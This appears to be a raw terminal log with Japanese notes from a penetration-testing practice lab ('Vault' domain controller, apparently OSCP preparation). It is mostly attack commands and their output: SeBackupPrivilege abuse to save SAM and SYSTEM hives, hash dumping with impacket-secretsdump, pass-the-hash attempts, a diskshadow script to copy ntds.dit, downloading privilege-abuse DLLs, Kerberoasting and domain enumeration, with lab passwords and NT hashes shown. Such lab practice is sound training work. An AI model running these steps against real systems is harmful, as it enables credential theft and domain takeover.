[23:16:33:381] [962148:000eae66] [INFO][com.freerdp.channels.drdynvc.client] - [dvcman_load_addin]: Loading Dynamic Virtual Channel ainput
[23:16:33:381] [962148:000eae66] [INFO][com.freerdp.channels.drdynvc.client] - [dvcman_load_addin]: Loading Dynamic Virtual Channel rdpgfx
[23:16:33:381] [962148:000eae66] [INFO][com.freerdp.channels.drdynvc.client] - [dvcman_load_addin]: Loading Dynamic Virtual Channel disp
[23:16:33:381] [962148:000eae66] [INFO][com.freerdp.channels.drdynvc.client] - [dvcman_load_addin]: Loading Dynamic Virtual Channel rdpsnd
[23:16:33:691] [962148:000eae80] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[23:16:33:691] [962148:000eae80] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[23:16:34:073] [962148:000eae80] [INFO][com.freerdp.channels.rdpsnd.client] - [rdpsnd_load_device_plugin]: [dynamic] Loaded fake backend for rdpsnd
[23:16:36:240] [962148:000eae64] [ERROR][com.freerdp.core] - [freerdp_abort_connect_context]: ERRCONNECT_CONNECT_CANCELLED [0x0002000B]
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ xfreerdp /v:192.168.206.172 /d:vault.offsec /u:ANIRUDH /p:'SecureHM' /cert:ignore /sec:tls '/auth-pkg-list:!kerberos,ntlm' -gfx /bpp:16
[23:16:42:692] [962264:000eaed8] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Using /p is insecure
[23:16:42:692] [962264:000eaed8] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Passing credentials or secrets via command line might expose these in the process list
[23:16:42:692] [962264:000eaed8] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Consider using one of the following (more secure) alternatives:
[23:16:42:692] [962264:000eaed8] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /args-from: pipe in arguments from stdin, file or file descriptor
[23:16:42:692] [962264:000eaed8] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /from-stdin pass the credential via stdin
[23:16:42:692] [962264:000eaed8] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - set environment variable FREERDP_ASKPASS to have a gui tool query for credentials
[23:16:42:721] [962264:000eaeda] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x08 -> no RDP scancode found
[23:16:42:721] [962264:000eaeda] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x5d -> no RDP scancode found
[23:16:42:722] [962264:000eaeda] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[23:16:43:092] [962264:000eaeda] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Certificate not checked, /cert:ignore in use.
[23:16:43:092] [962264:000eaeda] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] This prevents MITM attacks from being detected!
[23:16:43:092] [962264:000eaeda] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Avoid using this unless in a secure LAN (=no internet) environment
[23:16:44:119] [962264:000eaeda] [INFO][com.freerdp.gdi] - [gdi_init_ex]: Local framebuffer format PIXEL_FORMAT_BGRX32
[23:16:44:119] [962264:000eaeda] [INFO][com.freerdp.gdi] - [gdi_init_ex]: Remote framebuffer format PIXEL_FORMAT_BGRA32
[23:16:44:241] [962264:000eaeda] [INFO][com.freerdp.channels.rdpsnd.client] - [rdpsnd_load_device_plugin]: [static] Loaded fake backend for rdpsnd
[23:16:44:241] [962264:000eaeda] [INFO][com.freerdp.channels.drdynvc.client] - [dvcman_load_addin]: Loading Dynamic Virtual Channel ainput
[23:16:44:241] [962264:000eaeda] [INFO][com.freerdp.channels.drdynvc.client] - [dvcman_load_addin]: Loading Dynamic Virtual Channel rdpgfx
[23:16:44:241] [962264:000eaeda] [INFO][com.freerdp.channels.drdynvc.client] - [dvcman_load_addin]: Loading Dynamic Virtual Channel disp
[23:16:44:241] [962264:000eaeda] [INFO][com.freerdp.channels.drdynvc.client] - [dvcman_load_addin]: Loading Dynamic Virtual Channel rdpsnd
[23:16:44:463] [962264:000eaef6] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[23:16:44:465] [962264:000eaef6] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[23:16:44:893] [962264:000eaef6] [INFO][com.freerdp.channels.rdpsnd.client] - [rdpsnd_load_device_plugin]: [dynamic] Loaded fake backend for rdpsnd
[23:17:03:856] [962264:000eaed8] [ERROR][com.freerdp.core] - [freerdp_abort_connect_context]: ERRCONNECT_CONNECT_CANCELLED [0x0002000B]
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ xfreerdp /v:192.168.206.172 /d:vault.offsec /u:ANIRUDH /p:'SecureHM' /cert:ignore /sec:tls '/auth-pkg-list:!kerberos,ntlm' /bpp:16 /size:1280x720 -wallpaper -themes -fonts -clipboard -sound
[23:18:51:331] [963333:000eb305] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Using /p is insecure
[23:18:51:332] [963333:000eb305] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Passing credentials or secrets via command line might expose these in the process list
[23:18:51:332] [963333:000eb305] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Consider using one of the following (more secure) alternatives:
[23:18:51:332] [963333:000eb305] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /args-from: pipe in arguments from stdin, file or file descriptor
[23:18:51:332] [963333:000eb305] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /from-stdin pass the credential via stdin
[23:18:51:332] [963333:000eb305] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - set environment variable FREERDP_ASKPASS to have a gui tool query for credentials
[23:18:51:353] [963333:000eb307] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x08 -> no RDP scancode found
[23:18:51:353] [963333:000eb307] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x5d -> no RDP scancode found
[23:18:51:359] [963333:000eb307] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[23:18:51:749] [963333:000eb307] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Certificate not checked, /cert:ignore in use.
[23:18:51:751] [963333:000eb307] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] This prevents MITM attacks from being detected!
[23:18:51:751] [963333:000eb307] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Avoid using this unless in a secure LAN (=no internet) environment
[23:18:52:725] [963333:000eb307] [INFO][com.freerdp.gdi] - [gdi_init_ex]: Local framebuffer format PIXEL_FORMAT_BGRX32
[23:18:52:725] [963333:000eb307] [INFO][com.freerdp.gdi] - [gdi_init_ex]: Remote framebuffer format PIXEL_FORMAT_RGB16
[23:18:52:840] [963333:000eb307] [INFO][com.freerdp.channels.rdpsnd.client] - [rdpsnd_load_device_plugin]: [static] Loaded pulse backend for rdpsnd
[23:18:52:840] [963333:000eb307] [INFO][com.freerdp.channels.drdynvc.client] - [dvcman_load_addin]: Loading Dynamic Virtual Channel rdpsnd
[23:18:52:840] [963333:000eb307] [INFO][com.freerdp.channels.drdynvc.client] - [dvcman_load_addin]: Loading Dynamic Virtual Channel ainput
[23:18:52:840] [963333:000eb307] [INFO][com.freerdp.channels.drdynvc.client] - [dvcman_load_addin]: Loading Dynamic Virtual Channel disp
[23:18:53:313] [963333:000eb31c] [INFO][com.freerdp.channels.rdpsnd.client] - [rdpsnd_load_device_plugin]: [dynamic] Loaded pulse backend for rdpsnd
[23:19:11:942] [963333:000eb305] [ERROR][com.freerdp.core] - [freerdp_abort_connect_context]: ERRCONNECT_CONNECT_CANCELLED [0x0002000B]
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ xfreerdp /cert:ignore /dynamic-resolution +clipboard /u:'anirudh' /p:'SecureHM' /v:vault.offsec
[23:07:11:661] [1478131:00168df3] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Using /p is insecure
[23:07:11:661] [1478131:00168df3] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Passing credentials or secrets via command line might expose these in the process list
[23:07:11:661] [1478131:00168df3] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Consider using one of the following (more secure) alternatives:
[23:07:11:661] [1478131:00168df3] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /args-from: pipe in arguments from stdin, file or file descriptor
[23:07:11:661] [1478131:00168df3] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - /from-stdin pass the credential via stdin
[23:07:11:663] [1478131:00168df3] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: - set environment variable FREERDP_ASKPASS to have a gui tool query for credentials
[23:07:11:700] [1478131:00168df5] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x08 -> no RDP scancode found
[23:07:11:700] [1478131:00168df5] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x5d -> no RDP scancode found
[23:07:11:701] [1478131:00168df5] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[23:07:12:059] [1478131:00168df5] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Certificate not checked, /cert:ignore in use.
[23:07:12:059] [1478131:00168df5] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] This prevents MITM attacks from being detected!
[23:07:12:059] [1478131:00168df5] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Avoid using this unless in a secure LAN (=no internet) environment
[23:07:12:059] [1478131:00168df5] [ERROR][com.winpr.sspi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (Configuration file does not specify default realm [-1765328160])
[23:07:12:060] [1478131:00168df5] [ERROR][com.winpr.sspi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (Configuration file does not specify default realm [-1765328160])
[23:07:12:313] [1478131:00168df5] [ERROR][com.freerdp.core.transport] - [transport_read_layer]: BIO_read returned a system error 104: Connection reset by peer
[23:07:12:313] [1478131:00168df5] [ERROR][com.freerdp.core] - [transport_read_layer]: ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[23:07:12:314] [1478131:00168df5] [WARN][com.freerdp.codec.nsc.neon] - [nsc_init_neon_int]: TODO: Implement neon optimized version of this function
[23:07:12:661] [1478131:00168df5] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Certificate not checked, /cert:ignore in use.
[23:07:12:661] [1478131:00168df5] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] This prevents MITM attacks from being detected!
[23:07:12:661] [1478131:00168df5] [WARN][com.freerdp.crypto] - [tls_verify_certificate]: [DANGER] Avoid using this unless in a secure LAN (=no internet) environment
[23:07:12:661] [1478131:00168df5] [ERROR][com.winpr.sspi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (Configuration file does not specify default realm [-1765328160])
[23:07:12:661] [1478131:00168df5] [ERROR][com.winpr.sspi.Kerberos] - [kerberos_AcquireCredentialsHandleA]: krb5_parse_name (Configuration file does not specify default realm [-1765328160])
[23:07:12:915] [1478131:00168df5] [ERROR][com.freerdp.core.transport] - [transport_read_layer]: BIO_read returned a system error 104: Connection reset by peer
[23:07:12:916] [1478131:00168df5] [ERROR][com.freerdp.core] - [transport_read_layer]: ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[23:07:12:916] [1478131:00168df5] [ERROR][com.freerdp.core] - [freerdp_connect]: freerdp_post_connect failed
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$
cmd /c "dir C:\Users\local.txt /s /b"
cmd /c "dir C:\local.txt /s /b"
*Evil-WinRM* PS C:\Users\anirudh\Documents> cmd /c "dir C:\Users\local.txt /s /b"
C:\Users\anirudh\Desktop\local.txt
*Evil-WinRM* PS C:\Users\anirudh\Documents>
*Evil-WinRM* PS C:\Users\anirudh\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
============= ============================================
vault\anirudh S-1-5-21-537427935-490066102-1511301751-1103
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSystemtimePrivilege Change the system time Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\anirudh\Documents>
SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled
*Evil-WinRM* PS C:\Users\anirudh\Documents> reg save HKLM\SAM C:\Windows\Temp\sam.save
The operation completed successfully.
*Evil-WinRM* PS C:\Users\anirudh\Documents> reg save HKLM\SYSTEM C:\Windows\Temp\system.save
The operation completed successfully.
*Evil-WinRM* PS C:\Users\anirudh\Documents> reg save HKLM\SECURITY C:\Windows\Temp\security.save
reg.exe : ERROR: Access is denied.
+ CategoryInfo : NotSpecified: (ERROR: Access is denied.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
*Evil-WinRM* PS C:\Users\anirudh\Documents> download sam.save
Info: Downloading C:\Users\anirudh\Documents\sam.save to sam.save
Error: Download failed. Check filenames or paths
*Evil-WinRM* PS C:\Users\anirudh\Documents>
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xe9a15188a6ad2d20d26fe2bc984b369e
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:608339ddc8f434ac21945e026887dc36:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] LSA hashes extraction failed: [Errno 2] No such file or directory: 'security.save'
[*] Cleaning up...
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$
for p in smb rdp winrm; do nxc $p 192.168.206.172 -u Administrator -H 608339ddc8f434ac21945e026887dc36 ; done
⇒ローカルadminではリモートログインできなかった。
──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ evil-winrm -i 192.168.206.172 -u Administrator -H 608339ddc8f434ac21945e026887dc36
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ for p in smb rdp winrm; do nxc $p 192.168.206.172 -u Administrator -H 608339ddc8f434ac21945e026887dc36 ; done
SMB 192.168.206.172 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec) (signing:True) (SMBv1:False)
SMB 192.168.206.172 445 DC [-] vault.offsec\Administrator:608339ddc8f434ac21945e026887dc36 STATUS_LOGON_FAILURE
RDP 192.168.206.172 3389 DC [*] Windows 10 or Windows Server 2016 Build 17763 (name:DC) (domain:vault.offsec) (nla:False)
RDP 192.168.206.172 3389 DC [-] vault.offsec\Administrator:608339ddc8f434ac21945e026887dc36 (STATUS_LOGON_FAILURE)
WINRM 192.168.206.172 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:vault.offsec)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 192.168.206.172 5985 DC [-] vault.offsec\Administrator:608339ddc8f434ac21945e026887dc36
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$
ntds.dit
シャドウコピーを作成
diskshadow.txt
add volume c: alias cdrive
create
expose %cdrive% z:
diskshadow /s diskshadow.txt
NTDS.dit をコピー
dir Z:\
robocopy /b Z:\Windows\NTDS C:\temp ntds.dit
robocopy /b Z:\Windows\NTDS C:\temp ntds.dit
SYSTEMハイブを保存
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SYSTEM C:\temp\SYSTEM
download C:\temp\ntds.dit
download C:\temp\SYSTEM
ハッシュを抽出
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
*Evil-WinRM* PS C:\Users\anirudh\Documents> diskshadow /s diskshadow.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC, 7/4/2026 6:06:10 PM
-> add volume c: alias cdriv
COM call "(*vssObject)->InitializeForBackup" failed.
*Evil-WinRM* PS C:\Users\anirudh\Documents>
⇒DiskShadow/VSS が使えない状態 この場合、Vaultでは diskshadow ルートを捨てて、SeBackupPrivilege用DLLで直接コピーする方が早いです。
wget https://raw.githubusercontent.com/k4sth4/SeBackupPrivilege/main/SeBackupPrivilegeUtils.dll
wget https://raw.githubusercontent.com/k4sth4/SeBackupPrivilege/main/SeBackupPrivilegeCmdLets.dll
SeBackupPrivilegeUtils.dll SeBackupPrivilegeCmdLets.dll
upload
upload SeBackupPrivilegeUtils.dll
upload SeBackupPrivilegeCmdLets.dll
Import-Module
Import-Module SeBackupPrivilegeUtils.dll
Import-Module SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\Users\anirudh\Documents> Import-Module SeBackupPrivilegeUtils.dll
The specified module 'SeBackupPrivilegeUtils.dll' was not loaded because no valid module file was found in any module directory.
At line:1 char:1
+ Import-Module SeBackupPrivilegeUtils.dll
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (SeBackupPrivilegeUtils.dll:String) [Import-Module], FileNotFoundException
+ FullyQualifiedErrorId : Modules_ModuleNotFound,Microsoft.PowerShell.Commands.ImportModuleCommand
*Evil-WinRM* PS C:\Users\anirudh\Documents> ls
.\で指定しないとエラーになる
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Get-SeBackupPrivilege
whoami /priv
mkdir C:\temp
vssadmin create shadow /for=C:
Copy-FileSeBackupPrivilege "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit" C:\temp\ntds.dit
*Evil-WinRM* PS C:\temp> vssadmin create shadow /for=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.
Error: You don't have the correct permissions to run this command. Please run this utility from a command
window that has elevated administrator privileges.
*Evil-WinRM* PS C:\temp>
⇒ntds.ditは取得できないみたい
reg save HKLM\SYSTEM C:\temp\SYSTEM
download C:\temp\ntds.dit
download C:\temp\SYSTEM
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
net user ANIRUDH /domain
net group "Domain Admins" /domain
nltest /dclist:vault.offsec
*Evil-WinRM* PS C:\Users\Administrator\Desktop> net user ANIRUDH /domain
User name anirudh
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 11/19/2021 1:59:51 AM
Password expires Never
Password changeable 11/20/2021 1:59:51 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 6/30/2026 7:22:55 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use*Server Operators
Global Group memberships *Domain Users
The command completed successfully.
*Evil-WinRM* PS C:\Users\Administrator\Desktop> net group "Domain Admins" /domain
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator
The command completed successfully.
*Evil-WinRM* PS C:\Users\Administrator\Desktop> nltest /dclist:vault.offsec
Get list of DCs in domain 'vault.offsec' from '\\DC.vault.offsec'.
DC.vault.offsec [PDC] [DS] Site: Default-First-Site-Name
The command completed successfully
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
nxc smb 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM"
nxc smb 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM" --shares
nxc smb 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM" --users
nxc smb 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM" --pass-pol
nxc ldap 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM" --users
nxc ldap 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM" --groups
nxc ldap 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM" --bloodhound --collection All --dns-server 192.168.206.172
impacket-GetUserSPNs vault.offsec/ANIRUDH:"SecureHM" -dc-ip 192.168.206.172 -request -outputfile kerberoast.hash
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ nxc smb 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM"
SMB 192.168.206.172 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec) (signing:True) (SMBv1:False)
SMB 192.168.206.172 445 DC [+] vault.offsec\ANIRUDH:SecureHM
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ nxc smb 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM" --shares
SMB 192.168.206.172 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec) (signing:True) (SMBv1:False)
SMB 192.168.206.172 445 DC [+] vault.offsec\ANIRUDH:SecureHM
SMB 192.168.206.172 445 DC [*] Enumerated shares
SMB 192.168.206.172 445 DC Share Permissions Remark
SMB 192.168.206.172 445 DC ----- ----------- ------
SMB 192.168.206.172 445 DC ADMIN$ READ Remote Admin
SMB 192.168.206.172 445 DC C$ READ,WRITE Default share
SMB 192.168.206.172 445 DC DocumentsShare
SMB 192.168.206.172 445 DC IPC$ READ Remote IPC
SMB 192.168.206.172 445 DC NETLOGON READ Logon server share
SMB 192.168.206.172 445 DC SYSVOL READ Logon server share
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ nxc smb 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM" --users
SMB 192.168.206.172 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec) (signing:True) (SMBv1:False)
SMB 192.168.206.172 445 DC [+] vault.offsec\ANIRUDH:SecureHM
SMB 192.168.206.172 445 DC -Username- -Last PW Set- -BadPW- -Description-
SMB 192.168.206.172 445 DC Administrator 2021-11-19 13:43:21 0 Built-in account for administering the computer/domain
SMB 192.168.206.172 445 DC Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 192.168.206.172 445 DC krbtgt 2021-11-19 08:51:14 0 Key Distribution Center Service Account
SMB 192.168.206.172 445 DC anirudh 2021-11-19 08:59:51 0
SMB 192.168.206.172 445 DC [*] Enumerated 4 local users: VAULT
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ nxc smb 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM" --groups
SMB 192.168.206.172 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec) (signing:True) (SMBv1:False)
SMB 192.168.206.172 445 DC [+] vault.offsec\ANIRUDH:SecureHM
SMB 192.168.206.172 445 DC [-] [REMOVED] Arg moved to the ldap protocol
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ nxc smb 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM" --pass-pol
SMB 192.168.206.172 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec) (signing:True) (SMBv1:False)
SMB 192.168.206.172 445 DC [+] vault.offsec\ANIRUDH:SecureHM
SMB 192.168.206.172 445 DC [+] Dumping password info for domain: VAULT
SMB 192.168.206.172 445 DC Minimum password length: 7
SMB 192.168.206.172 445 DC Password history length: 24
SMB 192.168.206.172 445 DC Maximum password age: 41 days 23 hours 53 minutes
SMB 192.168.206.172 445 DC
SMB 192.168.206.172 445 DC Password Complexity Flags: 000000
SMB 192.168.206.172 445 DC Domain Refuse Password Change: 0
SMB 192.168.206.172 445 DC Domain Password Store Cleartext: 0
SMB 192.168.206.172 445 DC Domain Password Lockout Admins: 0
SMB 192.168.206.172 445 DC Domain Password No Clear Change: 0
SMB 192.168.206.172 445 DC Domain Password No Anon Change: 0
SMB 192.168.206.172 445 DC Domain Password Complex: 0
SMB 192.168.206.172 445 DC
SMB 192.168.206.172 445 DC Minimum password age: 1 day 4 minutes
SMB 192.168.206.172 445 DC Reset Account Lockout Counter: 30 minutes
SMB 192.168.206.172 445 DC Locked Account Duration: 30 minutes
SMB 192.168.206.172 445 DC Account Lockout Threshold: None
SMB 192.168.206.172 445 DC Forced Log off Time: Not Set
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ nxc ldap 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM" --users
LDAP 192.168.206.172 389 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:vault.offsec)
LDAP 192.168.206.172 389 DC [+] vault.offsec\ANIRUDH:SecureHM (Pwn3d!)
LDAP 192.168.206.172 389 DC [*] Enumerated 4 domain users: vault.offsec
LDAP 192.168.206.172 389 DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 192.168.206.172 389 DC Administrator 2021-11-19 22:43:21 0 Built-in account for administering the computer/domain
LDAP 192.168.206.172 389 DC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 192.168.206.172 389 DC krbtgt 2021-11-19 17:51:14 0 Key Distribution Center Service Account
LDAP 192.168.206.172 389 DC anirudh 2021-11-19 17:59:51 0
┌──(kali@kali)-[~/oscp/pGpractice/Vault/192.168.206.172]
└─$ nxc ldap 192.168.206.172 -d vault.offsec -u ANIRUDH -p "SecureHM" --groups
LDAP 192.168.206.172 389 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:vault.offsec)
LDAP 192.168.206.172 389 DC [+] vault.offsec\ANIRUDH:SecureHM (Pwn3d!)
LDAP 192.168.206.172 389 DC Administrators membercount: 3
LDAP 192.168.206.172 389 DC Users membercount: 3
LDAP 192.168.206.172 389 DC Guests membercount: 2
LDAP 192.168.206.172 389 DC Print Operators membercount: 0
LDAP 192.168.206.172 389 DC Backup Operators membercount: 0
LDAP 192.168.206.172 389 DC Replicator membercount: 0
LDAP 192.168.206.172 389 DC Remote Desktop Users membercount: 0
LDAP 192.168.206.172 389 DC Network Configuration Operators membercount: 0
LDAP 192.168.206.172 389 DC Performance Monitor Users membercount: 0
LDAP 192.168.206.172 389 DC Performance Log Users membercount: 0
LDAP 192.168.206.172 389 DC Distributed COM Users membercount: 0
LDAP 192.168.206.172 389 DC IIS_IUSRS membercount: 1
LDAP 192.168.206.172 389 DC Cryptographic Operators membercount: 0
LDAP 192.168.206.172 389 DC Event Log Readers membercount: 0
LDAP 192.168.206.172 389 DC Certificate Service DCOM Access membercount: 0
LDAP 192.168.206.172 389 DC RDS Remote Access Servers membercount: 0
LDAP 192.168.206.172 389 DC RDS Endpoint Servers membercount: 0
LDAP 192.168.206.172 389 DC RDS Management Servers membercount: 0
LDAP 192.168.206.172 389 DC Hyper-V Administrators membercount: 0
LDAP 192.168.206.172 389 DC Access Control Assistance Operators membercount: 0
LDAP 192.168.206.172 389 DC Remote Management Users membercount: 1
